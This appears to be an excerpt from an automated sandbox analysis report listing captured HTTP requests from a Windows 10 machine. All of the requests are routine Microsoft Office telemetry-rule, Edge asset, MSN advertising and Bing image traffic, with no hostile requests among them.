Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732715013&P2=404&P3=2&P4=ZHy3W8rERqok8aVmnv6LIsiRwN%2fxg%2fzFv0BIjfCsV0wseeXyZdXNrThaADhEsaerZ2BHX%2biu4sUHyaPmrZxs3g%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: jIC3D6InQ3htjQcoxJQjoJSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134336Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=eb1437f5d811435fba9c82ef2a7edaf6&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593725&metered=false&nettype=ethernet&npid=sc-338388&oemName=tgwigv%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=tgwigv20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593725&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAED5pDnztdUryTXAEGPjYQfuwAWlGUcRai73a7r5xMG2zxcZpVAXX5llhg8OdgRe1TgPeecEKNGgmLiDuIIn1CI1mJvHNaWMK3JMPumi5Rfj7cmNyDEzOwx28pJyId/5SUJgZ3GIsZX2Q1jGnW4Fd6Hivl6My/TuGnhxPLXclpaL2KTjhqEwIQomMErauaMUUzM1EGMXqrdTfgsIM1N3XfM78I/tKTIBF+P0Jj08gPesyTRLRedwPKP3ztxjJeiSupLApW9ddMltxmvf0oz0a6yO493v/zdcmS7xR6iiMhnU5Ih11HaDbr43KO4OPpVctoL9zWqrL+sn8e6UdeY2/b/vESKrB8pKnTSR2JZbsWhMsHoEtrRuIqg6Ehaq3fTz+3NdaQmChAhkFDnQQmLJywaUwh2TEwoTZTmcKtS4j1iqInGS1yICkbfzWceTWjK7/C+0tcUSCUBWBviRa2PQfjqXHpQOOGWoaKhoY1Z386ZdZ2EKVzA2gQADPnFh8pP56V6ZtzlkeHl+gtJelpQQhOZmYqUzUaX2g1YiXGpJYr8/p61dTlapUY8AlhTiLVGIR8d5V+btFVOF5QobBYVWFlNV1R9cB&p=Cache-Control: no-cacheMS-CV: CzB60w2eHkK1sm1w.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134336Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=747ec0b6670d4c7685ef6912321f6629&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593725&metered=false&nettype=ethernet&npid=sc-338387&oemName=tgwigv%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=tgwigv20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593725&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAED5pDnztdUryTXAEGPjYQfuwAWlGUcRai73a7r5xMG2zxcZpVAXX5llhg8OdgRe1TgPeecEKNGgmLiDuIIn1CI1mJvHNaWMK3JMPumi5Rfj7cmNyDEzOwx28pJyId/5SUJgZ3GIsZX2Q1jGnW4Fd6Hivl6My/TuGnhxPLXclpaL2KTjhqEwIQomMErauaMUUzM1EGMXqrdTfgsIM1N3XfM78I/tKTIBF+P0Jj08gPesyTRLRedwPKP3ztxjJeiSupLApW9ddMltxmvf0oz0a6yO493v/zdcmS7xR6iiMhnU5Ih11HaDbr43KO4OPpVctoL9zWqrL+sn8e6UdeY2/b/vESKrB8pKnTSR2JZbsWhMsHoEtrRuIqg6Ehaq3fTz+3NdaQmChAhkFDnQQmLJywaUwh2TEwoTZTmcKtS4j1iqInGS1yICkbfzWceTWjK7/C+0tcUSCUBWBviRa2PQfjqXHpQOOGWoaKhoY1Z386ZdZ2EKVzA2gQADPnFh8pP56V6ZtzlkeHl+gtJelpQQhOZmYqUzUaX2g1YiXGpJYr8/p61dTlapUY8AlhTiLVGIR8d5V+btFVOF5QobBYVWFlNV1R9cB&p=Cache-Control: no-cacheMS-CV: CzB60w2eHkK1sm1w.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134337Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=78c8d0c4fa854817a87caf07fb580610&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593725&metered=false&nettype=ethernet&npid=sc-280815&oemName=tgwigv%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=tgwigv20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593725&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAED5pDnztdUryTXAEGPjYQfuwAWlGUcRai73a7r5xMG2zxcZpVAXX5llhg8OdgRe1TgPeecEKNGgmLiDuIIn1CI1mJvHNaWMK3JMPumi5Rfj7cmNyDEzOwx28pJyId/5SUJgZ3GIsZX2Q1jGnW4Fd6Hivl6My/TuGnhxPLXclpaL2KTjhqEwIQomMErauaMUUzM1EGMXqrdTfgsIM1N3XfM78I/tKTIBF+P0Jj08gPesyTRLRedwPKP3ztxjJeiSupLApW9ddMltxmvf0oz0a6yO493v/zdcmS7xR6iiMhnU5Ih11HaDbr43KO4OPpVctoL9zWqrL+sn8e6UdeY2/b/vESKrB8pKnTSR2JZbsWhMsHoEtrRuIqg6Ehaq3fTz+3NdaQmChAhkFDnQQmLJywaUwh2TEwoTZTmcKtS4j1iqInGS1yICkbfzWceTWjK7/C+0tcUSCUBWBviRa2PQfjqXHpQOOGWoaKhoY1Z386ZdZ2EKVzA2gQADPnFh8pP56V6ZtzlkeHl+gtJelpQQhOZmYqUzUaX2g1YiXGpJYr8/p61dTlapUY8AlhTiLVGIR8d5V+btFVOF5QobBYVWFlNV1R9cB&p=Cache-Control: no-cacheMS-CV: CzB60w2eHkK1sm1w.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732110223131&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CB77821E0D96F30089A6D1CE1DE6E70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402613046_1VJ8MQN6OLRO0EVHP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402613045_1Y7ZSJRVESY5KBVS8&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0CB77821E0D96F30089A6D1CE1DE6E70&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=eae23a6305104671b5f6f096572edca3 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
